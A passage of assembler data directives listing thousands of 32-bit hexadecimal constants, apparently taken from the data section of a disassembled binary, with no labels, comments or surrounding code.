5BC35F50h, 6B34691Eh dd 8EEEEA53h, 4F680C07h, 0C07B9D1Bh, 5A03BA0Bh, 6AF48FD4h dd 29ABC84Bh, 376434B4h, 51815740h, 0EEC4001h, 0B83AE139h dd 4B1DC40Ch, 0D93A31h, 0B05EF009h, 0FFFBECEh, 46E55A39h dd 9348917Eh, 0FCF71079h, 0B864BFFEh, 0F92D5A7Fh, 6A1D715Eh dd 357CAFD7h, 0E91F93C8h, 0B5A6FB6Eh, 0CD63E925h, 4C65DFCEh dd 0F4E397BEh, 417800E4h, 45CE3041h, 430C2E67h, 0FAEC6BC5h dd 0F22DAD5Ah, 8CEB7F2Dh, 70710BECh, 14C5BFD7h, 169A2188h dd 0F6E42120h, 51F113EDh, 886F6F0Bh, 0CB41876Ch, 1CEDF06Fh dd 5C315C40h, 2622D6D8h, 0E8E27BFFh, 28685C07h, 47790B2Dh dd 350B51A4h, 7B167507h, 0B14F0B0Bh, 24FF7EFCh, 1D37034Ah dd 3AD2E961h, 9B02BDE4h, 295B6259h, 5673D5C5h, 598C022Eh dd 0CEE8919Ch, 90A0F75Ah, 34CD810Dh, 20806516h, 0B260371Dh dd 7E16B02Dh, 12A23077h, 5C0E1E0Ch, 0DD7E3B90h, 0A008C551h dd 0E92F140Ch, 77A1E256h, 0D96B47DBh, 8AE98B4Bh, 0FE2D2770h dd 0DDB982CFh, 0CAC4D52Eh, 0D0ABD3F0h, 0C7902AEAh, 1B13D7C2h dd 0B01591Ch, 5A475091h, 1578DE8Dh, 20E96FC2h, 22757F06h dd 9105C81Ah, 9997973h, 0E8CCDEA1h, 4710326Dh, 0A4660196h dd 0A5177B0Ch, 1726180Ch, 94189F6Eh, 590800BDh, 0C031F92Dh dd 34F84D4Ah, 0B16E0741h, 268BFCA1h, 0F5A87C5Fh, 616B2C2Eh dd 2667B068h, 532201A7h, 0F0E923FFh, 2D009838h, 487D189Bh dd 30014235h, 0EE055090h, 0E9E0AA0Eh, 0EEC85F04h, 0A118CC76h dd 166EC79Bh, 323DBE98h, 511CB27Bh, 139767C4h, 74AD0EBFh dd 0F4CE6D4h, 47D2C302h, 4ADF4C0Ch, 0E9080187h, 0D044F59Bh dd 0A5CAD9EEh, 4160FF41h, 0B02F50AFh, 4DEDE0Fh, 0D78D61E9h dd 0F32E843Fh, 500605E3h, 0D0BFD8B4h, 0E108C1B3h, 54FA7392h dd 64B2739Fh, 8826805Ch, 0D674F6CEh, 25E9F13Ah, 573BEAEFh dd 0A89064Ah, 0F5CAE255h, 196EC9Eh, 0C1B95C3Eh, 696F6A3Fh dd 16478A61h, 273B4091h, 0EA98BA60h, 44E4A02Dh, 0E8BA9DE1h dd 0D0CEDA87h, 700D6DBEh, 6E9C1803h, 0D25CFA35h, 580BFD6Fh dd 0B904A2F3h, 0B881622Fh, 49DEE6E9h, 0F86BFAE6h, 314E0922h dd 91A3545Fh, 0FF5D2F52h, 40B02427h, 0F2010CB1h, 73A66816h dd 40DE22FCh, 2CF45DA0h, 9650D4E9h, 6426755Ah, 48096932h dd 0BAC14B84h, 246976E0h, 1C55AF30h, 0FE6812EEh, 0EE48C63h dd 3A8AC297h, 89F1D7B0h, 0D180AC42h, 945B926Fh, 64FC121Ch dd 0CBDEFF74h, 85BB5300h, 0E9166321h, 54833630h, 3F18CEBEh dd 0D1BD260Dh, 311F8989h, 0A9F76F09h, 726577B0h, 719EED40h dd 88DE9F22h, 5B4F08A0h, 0ECFAF434h, 0EACC1211h, 28AF8E16h dd 0BE2D68B9h, 70BC643h, 7917C2BAh, 773E038h, 595B253Dh dd 0C8411EA8h, 5E701B2Ch, 3F75BA58h, 995B593h, 64BD686Fh dd 0F66710F6h, 0E45D7489h, 4104AF5Ch, 92F87D10h, 0FB326885h dd 0C984E767h, 3D424E1Fh, 34FD2F1Ch, 5E48B0B4h, 4B4188AFh dd 0D20094D5h, 4A14EA0Ch, 212B0FBFh, 0B4495BE0h, 40798D8h dd 78B551D0h, 40AFB8A4h, 3348C7F5h, 5B126670h, 35005250h dd 0E928BE20h, 26A46505h, 0EB639021h, 723F35E5h, 800A2718h dd 59BC05A9h, 27C0BF38h, 140F3CC3h, 93F8E963h, 4A12E5E3h dd 0D0F2AC64h, 0EFA100Ch dd 7E3AB800h, 5486209h, 24A1D44Ch, 0E2A0E1E6h, 2C4DD49Dh dd 0CD2F127Ah, 0F17E651Eh, 49006E47h, 0B5CA8142h, 708B3E37h dd 0ACB0A316h, 153DC584h, 0C45012CAh, 71189FFAh, 61B91958h dd 93A0951Ch, 30DFADFFh, 5D8CE995h, 5D8694B0h, 7F9538ECh dd 0DA07C58Fh, 13A4FFDCh, 0BF24FBEBh, 2EA6F1EEh, 6C3A39FAh dd 0EAE90C20h, 12E5BB10h, 0A0987416h, 37025FB6h, 0C6E9274Ah dd 0EF7C5F2Ah, 7AE4ABCh, 0F411312Fh, 0BE1AD48Eh, 454AAACAh dd 0AA5B54C3h, 699274C0h, 0EF1A4B0Eh, 72C50F00h, 0B8E5F196h dd 0ACF697A2h, 5010DFA5h, 30AC71D8h, 56F0299Dh, 0EF7413FCh dd 0AE49C981h, 16164A29h, 68AF28F4h, 0F96D4027h, 42DC6DEEh dd 5E537F40h, 5B3A5BDh, 28EB5826h, 909053F0h, 0BB5B009Dh dd 4F5435C9h, 5A00FE19h, 3B71B9E3h, 654B483Eh, 0D929320Eh dd 6B02ABB3h, 0E065D40Ch, 1892F76Ch, 1A21CF78h, 5B0F1053h dd 0D7B2E9D2h, 0EA60DCEDh, 0D73FC9C0h, 12C159B7h, 5FE1BE58h dd 0D5F3C06Ah, 2A4F2268h, 32AE35D0h, 0E92F1665h, 0EE54840Dh dd 0EB51D681h, 3B37CD7Fh, 0FF85B6B3h, 0E88CC130h, 82F93FFEh dd 0BFA79312h, 983AF699h, 194E0C1Fh, 0F3F72CB8h, 0B9D7974Eh dd 693C7977h, 974CD175h, 0D829FBCAh, 90031E6Fh, 7E535966h dd 3B70F17Dh, 833FC259h, 8FC0EA80h, 6BC20835h, 8B1BF13Fh dd 3F812FB6h, 891DC680h, 0A121680Ah, 49A9E99Ch, 0DA133736h dd 7809B216h, 4C46352Dh, 10581160h, 0B9141304h, 267389ABh dd 534D7FC3h, 603348A0h, 2F2E7BF2h, 92559506h, 1D0A7D3Eh dd 466C1FB9h, 20411F61h, 0E7928F09h, 36CC5FEDh, 7A1D6990h dd 0C1858126h, 0CDEA05EAh, 312825Bh, 25615E9h, 7C614959h dd 0B20E9338h, 3C5E8304h, 0F2C2C093h, 1EC6F23Fh, 1E6ADCF3h dd 0D6CBDDD3h, 0DCC8FEFEh, 0DDE8BF16h, 94B7C301h, 1931BFEFh dd 60B621E4h, 0A3414E65h, 0AC6AD9F5h, 9D4B9F5Bh, 0EEE7DFAFh dd 33924BA6h, 0CEB3AE80h, 0C7EB7680h, 2B20DC06h, 42095103h dd 0C1C7BF02h, 55C893B2h, 1465E13Ch, 364FB9DBh, 0F3208FCDh dd 31D631BFh, 0FCF888D5h, 1368096Fh, 3027E2FAh, 0AD60F911h dd 1FF73177h, 6EF6DBA5h, 397CF95Bh, 0F9EBFCFFh, 0FFE9A0F7h dd 845CBF92h, 0A178644Eh, 48FE2B93h, 9F0536C2h, 1AA93Bh dd 0A8F0E880h, 0DC973156h, 0EF77A56Ah, 68558084h, 7FAD08E5h dd 16165D48h, 35BAFEF4h, 9DE1EAE6h, 20ABE415h, 6785D538h dd 6AC4325Ah, 46E4DC2h, 0E2D2FA5Eh, 0C4B65E1Eh, 6E67F1CAh dd 60D23BE9h, 0CAE1E90Eh, 7F3F9297h, 0C2B1DB88h, 0A3C0D6F7h dd 50075501h, 0CC51C0B8h, 7841E972h, 0C2210B02h, 19614A58h dd 0D9D7B8Fh, 49DEB5EDh, 34DCF283h, 2CB88B4Ch, 78FFB691h dd 96EF42C2h, 0C6179DF6h, 8CDCEF4Ah, 0BAAF4B7Ch, 4154BDD8h dd 0BEE06B57h, 40064513h, 0FE37B337h, 7CC0CB3Fh, 34BA62FEh dd 0ADCE203Bh, 0C4E3620Bh, 9A59557Dh, 8B7CE72Ah, 0AF6A63CEh dd 0BB17E5E5h, 0ED3190FAh, 9327C979h, 0E96B87DCh, 0D5C7A949h dd 56B9F780h, 789D1A8Ch, 57D1587Ah, 0F276658h, 886F7C7Ch dd 40BE023Fh, 0C88939C5h, 0F9B5ABF8h, 6EB86017h, 31F65D3Eh dd 58CBC660h, 0B50FD168h, 48943DB4h, 5C2428C2h, 6077824Bh dd 707D06ECh, 0FBC935AFh, 5E01ABE6h, 0CB8D5605h, 2FF3DAAFh dd 2BBCE12Fh, 0CBBDA6h, 715D3D1Bh, 525EFC1h, 58205A47h dd 0FD28C961h, 0E1A22631h, 25DFA5AAh, 0A50AC1C8h, 518957Ah dd 3138244Eh, 0E936592Fh, 30007B9Bh, 0C23BEAD1h, 0D6843B0Fh dd 7EE8395Fh, 5DCB22E8h, 7E5A4C62h, 0E5AA87F2h, 39FB0277h dd 0B7A6C42Ah, 0BD0932D1h, 5B677F95h, 4F645696h, 0B85DFA4Ch dd 0AC321D58h, 8BCF8E1Eh, 0FA3CFEE4h, 123A44A4h, 0FF677453h dd 17E8AF6h, 720E11EAh, 2FC2294Fh, 3AA25AF8h, 0D9C017D0h dd 1C786856h, 5E6A1DEEh, 0F871D81h, 0E9A211F1h, 54F121C8h dd 13E3F608h, 0D6651F54h, 7EA8E167h, 0E6DF1BB2h, 0EF7FA7D4h dd 0DE7E2FE8h, 6B61C666h, 1CDF5468h, 6E91795h, 0A42DE84Ah dd 0E91781CBh, 3D58AA1Dh, 9D2C8160h, 74278CF1h, 2B755A7Bh dd 0C966DE86h, 2B3E4768h, 0DA6353BEh, 0F35F2812h, 5DE55D87h dd 5F27A940h, 0C227B307h, 6CF5015Dh, 0E9550862h, 26281627h dd 54E4B65h, 1D9420F4h, 81353B66h, 220D8DCBh, 9F107050h dd 2B302618h, 2E490E24h, 102876CFh, 0F313AD0h, 4492D2F7h dd 9BB92588h, 0B044BF25h, 2187D724h, 955FC652h, 135B1CF5h dd 0ABD21759h, 654858B7h, 79216B06h, 38170C6Fh, 800E8676h dd 8BBF72E6h, 0B7F95A46h, 80E2C584h, 6359BE01h, 816CB425h dd 7DC60661h, 0DCABE880h, 0DE214D3Ah, 6AFE924h, 3BA8B5BAh dd 9B674381h, 0D3DE2228h, 9BC2A91Ch, 0BDAF319h, 5AF03026h dd 6106586h, 0C328C902h, 0F537B7E9h, 0C208F14h, 22AD48AFh dd 27B0AEE4h, 0F093168h, 2523BD33h, 8405D8EDh, 0D849CCBEh dd 0FC587C09h, 0C598956Eh, 7A7D5F42h, 41088E9Fh, 29B2274h dd 2650807Eh, 0E9172FDCh, 6DFBE048h, 0C6C13A99h, 50EF8h dd 0B11AC193h, 1254970h, 9651ACEh, 0AB53DF8Fh, 26534E2Fh dd 9D093CE9h, 80B98C5Eh, 5A0BF57Fh, 0A9171840h, 54ECF73Fh dd 0E084665Ah, 6CC339ABh, 4032A689h, 68145B54h, 0D4B25957h dd 0A90E10B6h, 2CD6F613h, 0E72EB572h, 0FE0CA3C0h, 0F57A30C5h dd 265FA32Fh, 8047351Ch, 94AC1DEAh, 3EF06A08h, 0F6ECCA8Bh dd 8F2DDF06h, 13226812h, 5F228BABh, 0B934E9A5h, 0E11E7068h dd 0E0FAFD3Fh, 9E48E2E9h, 56EA8077h, 89176E7Eh, 549DAF90h dd 7CA008A4h, 9521FE12h, 9389D12Eh, 0D6F67962h, 7102CACAh dd 0F6611C50h, 0E1AC1736h, 0C4BE2DECh, 0E116A41Ah, 61C7CD0Ah dd 3C4128EBh, 0F825F066h, 27E5C2Ch, 0A4EA8077h, 2F18E05Dh dd 2D26C07Ah, 19F10AA6h, 5B12DFEAh, 20A7CDEh, 0D13A0705h dd 43CA8B11h, 4F841F8h, 568E2C2Eh, 44B8501Ch, 0BE3B1EC1h dd 0E8FD2420h, 1FCDB93Fh, 0DC928BA0h, 16138B01h, 0E56B3A2Fh dd 0E9080183h, 7DD93CB3h, 72B6CA5Ah, 2AB6BE05h, 0C202808Ah dd 0AA3A5029h, 0C0F22877h, 21530882h, 4EE0790Ch, 0F4809555h dd 4954227Fh, 0CB9C29Fh, 0AA10E007h, 0E6D355CCh, 2A685360h dd 0AE2AE173h, 4EE96728h, 0EBB413A1h, 437E2329h, 7397EA11h dd 0CAD760DAh, 1C080C6Fh, 0DD06133Bh, 0BA9F1325h, 5040B222h dd 0FED19F64h, 0D5FAD749h, 28AB6824h, 161C774Bh, 0EE8C585Eh dd 20CA3268h, 81EA0BB7h, 0C4CBCE7Fh, 0B08DE9E1h, 0BB7C0D95h dd 2D78623Dh, 0D4B50B8Fh, 0AFE48968h, 0F4258BFBh, 9A975C75h dd 61687499h, 7E6EEAE9h, 0AB580AA7h, 0FC58A709h, 3B40E1C0h dd 0E97FD80Bh, 5FEAA4EEh, 7462B0BAh, 5313211Fh, 1CE4F48Ch dd 60DE955Dh, 226CED58h, 0E9166777h, 75EE7363h, 79ECB9FAh dd 49FA2F17h, 203D9AEh, 71575F0Ch, 0ACA1E49Fh, 2A5C7C0Eh dd 0B59D2E44h, 414F7ACCh, 6E7A6441h, 37490F1Fh, 4B060554h dd 5EA492BAh, 0CF355E55h, 3FA03BCAh, 12122CACh, 48EAE14h dd 493BA47Bh, 0FC5EEED5h, 4885107Dh, 0D774C9DFh, 0A2EAEFDFh dd 68E7B1E1h, 0AE14AFE7h, 0E99F07D8h, 880E4054h, 976EEA59h dd 0B1C116EBh, 0B4A43FF0h, 3F5380D1h, 0B05F197h, 2F49A7C7h dd 362C2F38h, 436D4090h, 6E3C117h, 89ACA01h, 5001812h dd 5A906D68h, 0D72D11B4h, 33E90401h, 0EF8C6B99h, 7BF06B50h dd 7425D974h, 0FEE5B583h dd 59A5A504h, 0F2CF30AEh, 135C410Ah, 0A7A47595h, 0D0A4C902h dd 0E35D5230h, 6A82F9C9h, 0F37AE235h, 89DE2600h, 1668FAB0h dd 0E86FE170h, 0F6BBA598h, 48BE4898h, 93C33C50h, 0AA7B4Eh dd 796850D5h, 636BC73Bh, 0E60F06B5h, 0DEEF9D64h, 0D512C0B4h dd 2D4CAFAh, 0D222FE05h, 3B9C4116h, 742040C1h, 5DEE6ACDh dd 92688E48h, 584D4F62h, 4B4782DDh, 53FFD604h, 541203E1h dd 95F2A887h, 0EDD11246h, 255CAE0Fh, 44FF70A8h, 0FC1FCC04h dd 50EAA07Ch, 72B0C15h, 0E9BBD601h, 46695A27h, 0C07497A6h dd 6AAE60Ch, 0C6FE3CDBh, 287E0472h, 0BC1DE9F4h, 74582F85h dd 7414C9DDh, 5C70D6B7h, 84C93294h, 0B12DDEBh, 0DDF962h dd 0A04D2F92h, 0B4BF040Ch, 0FE64D62Ch, 7255A3E2h, 8A72A22Ah dd 822FCCAh, 49E9D117h, 0FA5B87A8h, 8B663D3Dh, 735AD714h dd 8A42E90Bh, 1696D066h, 25A63008h, 98ECCCD5h, 1DCCB40Fh dd 8115895Eh, 4880B156h, 87339052h, 8D682DF5h, 0DE7546C2h dd 7E9E1EDh, 0B1B36E54h, 8EA7AF93h, 5555312h, 0C2703C2Ch dd 414B5883h, 0DC050F00h, 2D5DD436h, 4A55391Bh, 21F8291Fh dd 5F11503Eh, 0C425E9FCh, 982346F5h, 458394FBh, 0D2B2FA57h dd 54EE13D6h, 0C48E1C34h, 0AE63CE64h, 0B83259BDh, 0ABC0B118h dd 519F2DBDh, 0ADEE005Bh, 5669F388h, 5842585Fh, 0DC2361E9h dd 333D8121h, 0DF52FE16h, 0C1BE104Ah, 6C2AE9C5h, 55511637h dd 986010AFh, 49825DC9h, 467566CFh, 5826F239h, 258173C2h dd 2B7CF537h, 0F97EE4A1h, 0A4DE05E8h, 0A0FAC8A1h, 0EA755BE3h dd 806F397h, 0BF01F246h, 35285562h, 80256520h, 50483E2Dh dd 0D001342Eh, 0BE0764AAh, 0A48996F8h, 0EBFFB804h, 95B31EFCh dd 38BE1F4Ah, 0D1276868h, 9E22981Ch, 6773B726h, 712CFB38h dd 5D69B093h, 5023C4E9h, 0BD4435C6h, 7C9D3B79h, 0B3685A76h dd 0BE802B54h, 0FB0700F3h, 2FCE815Ah, 495E2333h, 29FACC44h dd 4316802h, 43623C5Ch, 0E813D595h, 0F0E872C2h, 5559F280h dd 0CB281971h, 458E51B0h, 0FB166683h, 0C82CD1CAh, 0ACAD0953h dd 0CDCA09F1h, 3312A403h, 0C7EA494Ch, 7B0BBD3Ch, 68D7491Bh dd 0FE7A8FD9h, 5FDDF26Dh, 5BDC8E8Bh, 0BE4F00CFh, 514DE341h dd 0E47B44E1h, 201D39ACh, 0F6811A85h, 0A0998E7Eh, 0AC40166Eh dd 9D54E62Ch, 0F7F2E5F6h, 0EB9C0579h, 70A27227h, 0D4F3418Ch dd 0A2955A66h, 55AB74DDh, 5EE2A4D4h, 0BDA3EC52h, 18A65AF3h dd 565A7526h, 97F12D3Dh, 0BE2F96EDh, 792C342Dh, 6AFDBBA4h dd 3E99E510h, 5CF1AF51h, 99F2437h, 0DCC947ECh, 3B83255Bh dd 411EF9A4h, 469C3E78h, 8C015EE1h, 0EE40AB8Ch, 210E9F5Dh dd 4EC34340h, 77A45855h, 67B6E918h, 0FB8502Ah, 3FD37E21h dd 6CABE269h, 0E8E6F7F8h, 0E37A1FF4h, 54D93195h, 763D996Fh dd 158E1C7Fh, 886DD725h, 0B043E116h, 8037E7BEh, 1E6816Fh dd 6A665E9Fh, 0A4B434E9h, 0EE209A20h, 0D7591CF2h, 8941964Ch dd 1A30567Fh, 0AF89857Eh, 55C33104h, 511999BFh, 5D281C6h dd 407580A4h, 0E6C50969h, 0F9920D19h, 5A8FE57h, 0C2629B73h dd 0F4D27106h, 0CF7AAE0Ah, 36029B69h, 0C170463Bh, 0D53AF61Bh dd 46D7BE96h, 77375DB2h, 5A4CE253h, 0CF018040h, 2B0FA890h dd 0A54BB278h, 0E456C1F0h, 913129D7h, 0DF1253h, 6E6B582Ah dd 0A777E921h, 905BEC95h, 254A00F3h, 0E9475B2Fh, 67CCA8B1h dd 0DF03A0D3h, 89F56F8Bh, 25597013h, 22440F24h, 5D685160h dd 0F44D6E1Eh, 69B89CF1h, 27E2B950h, 0DC1F9A25h, 7010098Eh dd 9CEECE20h, 365E6C0h, 0FEF85E0Ch, 4D8F600h, 58C20849h dd 0C2EAC02Eh, 0A1CDF20Ah, 5439842Fh, 0F1A1ECAAh, 897E9571h dd 70203B4Eh, 2C30A6h, 9FF2812Bh, 0C1312038h, 0F704EA01h dd 7FC568D2h, 65F6439Dh, 27BFCEF1h, 0A791592Ch, 5DC94259h dd 14A8DB67h, 270DD4BDh, 0C1E06309h, 0C18219E3h, 0BA00D814h dd 3F3F4D64h, 1787A46Bh, 0F3F7488Fh, 1D2A4A03h, 0B89294F5h dd 5C9F4934h, 0C214372Eh, 0F97769D3h, 1ED5689Eh, 3D615h dd 6E9F650h, 899F3F59h, 0B274437Dh, 5224FEF9h, 2C74E6D7h dd 89415876h, 3C661196h, 613CB00Bh, 908BCE18h, 69820F31h dd 0C52D179Eh, 0E7A82BF2h, 0F9354801h, 311CDC06h, 0D9EC6AFFh dd 8C70117h, 0F02F3C1Bh, 273A9C3Ch, 2AED4761h, 0E04EF3FCh dd 19323D17h, 0B109E29h, 2710AED7h, 84BB2B35h, 0B4B42E78h dd 0D72804A7h, 80F20106h, 0EE3A2484h, 55735F76h, 80C6C495h dd 190E3BDDh, 90492944h, 0C745815Eh, 5DED4694h, 0C1889DECh dd 66E0B616h, 8557E550h, 75376887h, 0D488A431h, 0C54E30FCh dd 0C7525B1Eh, 7DD639FBh, 0AA76B283h, 8482D931h, 964AE87Eh dd 81DDC4EAh, 29FEFA71h, 5705253Eh, 38C8710Ch, 440C0603h dd 10916E9h, 822EE41h, 814E76C5h, 0F2127764h, 0EC3E0928h dd 65FB0467h, 0F4AE799Dh, 0D1A15528h, 7468A5D9h, 0E512C312h dd 5728DB05h, 69BC1071h, 964D89B1h, 0B7B45F26h, 169D16C2h dd 0D31F09ADh, 5954B022h, 42F6FBDFh, 0CFE9D4E9h, 5C46F8B8h dd 7E5A337Ah, 552D5309h, 47A8E4E3h, 7F7A3568h, 1691DC95h dd 0C28EBB5Eh, 57A36625h, 0E20ED673h, 72D8215Bh, 0C5C499E2h dd 13914C3h, 42AD4E0Ah, 17F4EF01h, 77E3AA2Ch, 6853BF18h dd 0E72B1FA8h, 0E0AE62D3h, 43663349h, 127D881Bh, 449DC780h dd 4605101Bh, 2529137Fh, 84C59047h, 1AF92B0Bh, 34DC75B6h dd 4A2273Eh, 2BBE5CDBh, 0CCBE4AD5h, 0A42FE917h, 0E29251C4h dd 42D8C331h, 0AEC42783h, 794CCFB8h, 0FE742B0Bh, 635E2402h dd 285EC1C6h, 0D5BC7446h, 6381B59Ch, 0FCC86C2Dh, 8D16BA52h dd 0B6E17032h, 0CB9D62Fh, 66270216h, 0FD5D809h, 0B15ED094h dd 0F6077BE4h, 5367A807h, 0FEE49EF7h, 0FCE2C2F5h, 0D954A799h dd 7255676Fh, 5DFBD599h, 7B16DF49h, 0D736E609h, 8C377671h dd 0D2928706h, 337164Eh, 0FF1ECC92h, 85B79A9Ch, 6DC85EA3h dd 2C014196h, 0A7593C72h, 973C58F2h, 0DC490BD9h, 2D46303h dd 6862C360h, 7DC56654h, 0D98F2727h, 0DD7F5CEh, 12EB3D54h dd 0E6AD22DCh, 27C8151h, 0F660B502h, 3CE0C0D5h, 224FE580h dd 39F577E0h, 0D36728E8h, 903EB4E9h, 4F8EF148h, 51637B17h dd 0B5D5BD05h, 7C85A2F9h, 2794A318h, 0EEC6A567h, 29DF91AFh dd 0CF622EC6h, 16E7DE0Fh, 0B3DEE59h, 0DC587C3Ch, 0A5B75380h dd 0B54AC4E9h, 0EEE5EEA8h, 705DB1CBh, 0FED4710Bh, 0FFC01275h dd 0ECFAB6F8h, 9C8095AAh, 7EF52105h, 20BBD49Dh, 0BE0CD708h dd 0C2685380h, 4598B54Bh, 21BFF7BBh, 0A061B0FDh, 0CD62D03Bh dd 0F02466F6h, 0EF02743Fh, 0D723DD1Bh, 629B141h, 46549734h dd 253EF826h, 5389D505h, 0A1083F74h, 0D1BF0271h, 83406D5Ch dd 0EB1E6B6h, 0DB3EDDACh, 5ED38A54h, 43E59A5h, 85B73013h dd 0E4CE02DFh, 8DD7F1B4h, 0EB2A2A1Bh, 0ACAB7524h, 380C6081h dd 0C049CB59h, 99070E24h, 8F4C661Ch, 0D3407C4Bh, 6D8E09BAh dd 2F577C7h, 0D7A38DE4h, 7DD9BCBBh, 0CCC6A15h, 8F2A4C68h dd 94763ACBh, 25451C81h, 1DF14A3Dh, 0FE4E7E2Ch, 5B60128h dd 0E9C6FEB2h, 0A3E9F3h, 3D38D2EEh, 0FAF031DAh, 959F9203h dd 0F0055F8h, 0B91B9213h, 4FE30BEAh, 4C47F224h, 0F19FE106h dd 0EEBE5893h, 3712F652h, 0F7C19409h, 0B5E905A7h, 3DD9FA02h dd 0C5B4013Fh, 8F572B41h, 69370296h, 27D47CF7h, 40B72B78h dd 68DB5B18h, 8E01260h dd 68049E08h, 0FEBC773Ch, 1B0E15C6h, 93519F21h, 1C20FB5h dd 16042D51h, 8AC9B5EDh, 0B842BCBh, 0FED394EAh, 0E997E6F2h dd 7DECE5F7h, 3F413FDEh, 255D28F4h, 0E1552D58h, 0BB3A5567h dd 6E4AD761h, 3027C02Fh, 400D9F50h, 660DB9E9h, 0A6AA133Ah dd 75610074h, 0E8C114A2h, 0BFE97705h, 335E8D8Bh, 78C2A7CDh dd 30580BE9h, 8F7F49EFh, 0A044AA7h, 8FD6A5h, 461F6C11h dd 0C35A3CE9h, 204E32A3h, 4132C261h, 6D2DF6B8h, 6F7FF410h dd 0B8D7F724h, 0FDFAC7F8h, 0D9316710h, 35905Bh, 2F785268h dd 781E94Dh, 0E6FE93BDh, 42B04176h, 5C57CA39h, 67DB0008h dd 1FE97ABFh, 912E49Eh, 0D218CE16h, 7EED183h, 2FDAE681h dd 0F6C02E5Bh, 1898350Eh, 0B616D5B0h, 95058421h, 5EC0C8EBh dd 608BE930h, 58C2AF51h, 12B5D701h, 0B16480A7h, 0ECBDD53Fh dd 0C7569FEFh, 372CE90Dh, 5BF8CEBAh, 0FBBF854Fh, 0B35E04F2h dd 18EC1C50h, 708A5E38h, 0CBA7844Ah, 0FDE985BEh, 0C0D20AAh dd 114D2D37h, 8E409BFh, 0E9C2819Bh, 0A33F26DDh, 1797904Fh dd 67BE0B55h, 1EA8A27Bh, 70AC25F3h, 5FF36809h, 45FDAA1Ah dd 6E916954h, 50846CA0h, 1127A95h, 0F4BEF392h, 0D512B073h dd 0F212F03Bh, 0E92580EFh, 20B940C8h, 3F03CAA4h, 0F0507419h dd 91FEFB98h, 5C253C6Eh, 15D647C2h, 0FEE401C1h, 2C5282Ah dd 2F4BE5BDh, 0E1129924h, 3E9E7CEDh, 53589DD5h, 7C49EFDEh dd 11428987h, 853B26D2h, 6E2CEBA8h, 3E3D2668h, 32056F3Dh dd 0D234FE39h, 6BBD882h, 8A0B9642h, 8244796Bh, 3AF4C95h dd 68BAE5D1h, 0CFB5F478h, 6D6885EFh, 0BBD13035h, 972F7AF6h dd 0A280F74Dh, 41A81F3Bh, 79127B90h, 4B1F9174h, 0DEE90104h dd 5A090BBAh, 0BD48EC57h, 9A15A66Bh, 0C1CBB261h, 588F3874h dd 819CE06Eh, 2870ED38h, 822FD409h, 45C0F930h, 7EA3A3E8h dd 23685103h, 0E394B41h, 1211E942h, 0C9C035CEh, 4FB13BB3h dd 0E438AC1h, 78810757h, 2622D41h, 21FD2031h, 0E1A22898h dd 0F60128DCh, 8EBC0DBh, 6E38C6E9h, 0A6D4275Ah, 0FC9D29A2h dd 0CFFC0CEDh, 68135F10h, 7EA37BC6h, 0E6DDD089h, 0FA355E20h dd 8AAFF017h, 0A8984EF7h, 6E5B4194h, 1FEE0A06h, 509A0106h dd 0B551C2B4h, 0E9E0C35Ch, 2ACE4ECEh, 0BC19C7BBh, 0FF2D5589h dd 0A1BAE806h, 454BD191h, 95FB2DAFh, 6280A86Fh, 3CE6C821h dd 409F0995h, 5535191h, 214A3168h, 52B00661h, 0E3047DB3h dd 3E9F6DA5h, 681D2780h, 0F8EA5FB1h, 89530B5Dh, 2EAB5EC3h dd 4F4B0DADh, 67448838h, 9CC31CFh, 88090516h, 0B8AC708Bh dd 81569749h, 392BD6CDh, 8CE9119Ch, 31AA04D1h, 2D096636h dd 0F10B2AB1h, 163A5D58h, 478C2360h, 0D612CCBh, 0E9F80EA7h dd 6FE7BE4Dh, 4B48ECA2h, 0C233282Eh, 7C0B3D78h, 0AFFB0822h dd 3AEB830Dh, 276153CCh, 7DDC0CDDh, 82915625h, 6BB10A38h dd 72FEF45Fh, 59024686h, 26410590h, 0BF66E640h, 0F381390Dh dd 0EAD77B8h, 0A50B0DF6h, 0A8D9510Ch, 6D1008Fh, 1ABA6F01h dd 2312DD69h, 39C527E9h, 0A0BEA994h, 7C27C459h, 2777F4D8h dd 9213E751h, 982DCE83h, 95E207A9h, 23004909h, 7B25302Bh dd 0C008FEB7h, 6AEE7AEFh, 6E1FE0B5h, 0C4C6025h, 0A65B8E4Dh dd 0B8557895h, 5CE4B7h, 52786D7Eh, 47359BAh, 4D3D0C9h dd 1691CDFFh, 0FF3BF921h, 0EC1726Ch, 54550AE9h, 0B1423989h dd 0D6576855h, 9533E476h, 0C14119DCh, 883002EBh, 0A640EBD1h dd 4B853121h, 3BA2E179h, 683CB48Fh, 88E57624h, 5C1D341Ch dd 779E2889h, 3F70F444h, 0C507BE2Ch, 19672704h, 88C6EFC3h dd 1AF0ECF9h, 0A6EB2DE9h, 0BE054DD2h, 1E3C14BDh, 4E59A6D0h dd 0D4B8023Eh, 31120ED1h, 6D4CBF0h, 60BF422Bh, 4A672F0Ch dd 0E9CEA02Eh, 0E5E29505h, 60C3D1D7h, 0ABBF5751h, 3C1C0316h dd 1F7BD601h, 26710521h, 0BECDC42Bh, 2D5C10F6h, 2A6D8C07h dd 0A6C7F439h, 8FF85B85h, 94EE41B9h, 2FF93F86h, 37471C4h dd 3B39EB80h, 0C3122606h, 1206BCB7h, 45EC0A20h, 4A5ED5A2h dd 0FB15797h, 493DEA3Eh, 41483C3Dh, 0E8E43D2Fh, 6FD96817h dd 2F4C62FFh, 5FD30102h, 69CEE5FCh, 9CF2D10Fh, 0B8107205h dd 0A02D6477h, 0BAA67745h, 630712A8h, 0D0B30F34h, 79A06B89h dd 3CFA68ACh, 610B5C9Bh, 9C5D5E55h, 1CF3177Ch, 20A4263Ah dd 0B80E7089h, 109A22BFh, 0BB0C0CFh, 0C86200D0h, 25803E2Ch dd 0B372F2C3h, 8CFCE9EAh, 0C7D6A392h, 4B938FABh, 2FBE99BBh dd 2EC62AFEh, 0A9E5B658h, 0DEAF0F4h, 73807DC7h, 5BD57F40h dd 0F298EAB0h, 88DCB9FFh, 5C258E70h, 90BEA8E9h, 80D540D5h dd 0F0BCF48h, 338863EFh, 81D698BAh, 0F603C7F4h, 2EFC0D7h dd 0CB809BD0h, 5BD587F0h, 0E0EAB585h, 661FBA4Bh, 9DBE8850h dd 0C75953C0h, 0BB2E5B54h, 3A897129h, 9AD8E5E9h, 3CD78839h dd 93E96F9h, 0CDDE38F9h, 2EFD3A2Ah, 879D17ACh, 19136463h dd 27009AF0h, 140D5E69h, 246C116h, 0F335D8F7h, 0B3C02A77h dd 0E69D129Bh, 0CD032D9Ch, 33D5DE40h, 7656F12Dh, 2DA81044h dd 5BF670C1h, 6221F158h, 0E521D240h, 5500FCA4h, 1FD7EE68h dd 